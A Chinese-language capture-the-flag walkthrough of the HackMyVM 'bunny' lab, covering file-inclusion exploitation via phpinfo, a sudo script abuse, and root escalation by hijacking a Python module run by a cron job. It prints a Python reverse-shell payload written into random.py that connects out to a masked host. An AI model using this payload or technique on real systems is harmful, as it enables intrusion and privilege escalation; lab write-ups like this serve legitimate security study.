当前位置:网站首页>hackmyvm-bunny walkthrough
hackmyvm-bunny walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
端口信息很少,常规操作,访问80,爆破目录。
upload.php,password.txt,config.php都是没有实际含义的文本文件。phpinfo.php泄露了主机的相关信息。
能想到的就是index.php是不是存在ssrf
。于是利用ffuf
对index.php进行参数fuzz,得到参数page
为实际请求参数。
由于allow_url_include
是off,所以没有办法进行php://input
和data
协议利用。 爆破日志文件也不能被利用来进行本地文件包含获取shell。
同时web服务中没有上传点,于是参考文章php文件包含漏洞(利用phpinfo)复现
[1],成功上传shell。
切换用户
为了操作方便获取pty,反弹一个shell,查看sudo
。
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
很简单切换到用户chris
,得到第一个flag。
提权至root
利用pspy64
可以看到root每分钟在运行pendu.py
。
该文件没做什么事情,但是引入了random
。
从图中可以看到random是可以修改的。于是将random改成一个反弹shell。
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限。
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
- [symfony/finder] The best file manipulation library
- [phpunit/php-timer]一个用于代码执行时间的计时器
- [league/flysystem] An elegant and highly supported file operation interface
- [league/climate]一个功能健全的命令行功能操作库
- PHP有哪些杀手级超厉害框架或库或应用?
- Add a full image watermark to an image in PHP
- 每日五道面试题总结 22/7/20
- TypeScript error error TS2469, error TS2731 solution
- 宝塔邮局邮箱设置成功后能发送不能接收问题处理
- 2. PHP variables, output, EOF, conditional statements
猜你喜欢
随机推荐
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
Query the indexes of all tables in the database and parse them into sql
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
PHP 给图片添加全图水印
13.JS输出内容和语法
js预编译 GO 和AO
TypeScript error error TS2469, error TS2731 solution
What will be new in PHP8.2?
3.PHP数据类型、常量、字符串和运算符
kali安装IDEA
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
PHP实现搜索框的自动反查提示
[symfony/mailer]一个优雅易用的发送邮件类库
4.表单与输入
Solve the problem of uni - app packaged H5 website to download image
vim编辑模式
[league/flysystem] An elegant and highly supported file operation interface
阿里云服务器如何使用admin账户登录
4. PHP array and array sorting
Baidu positioning js API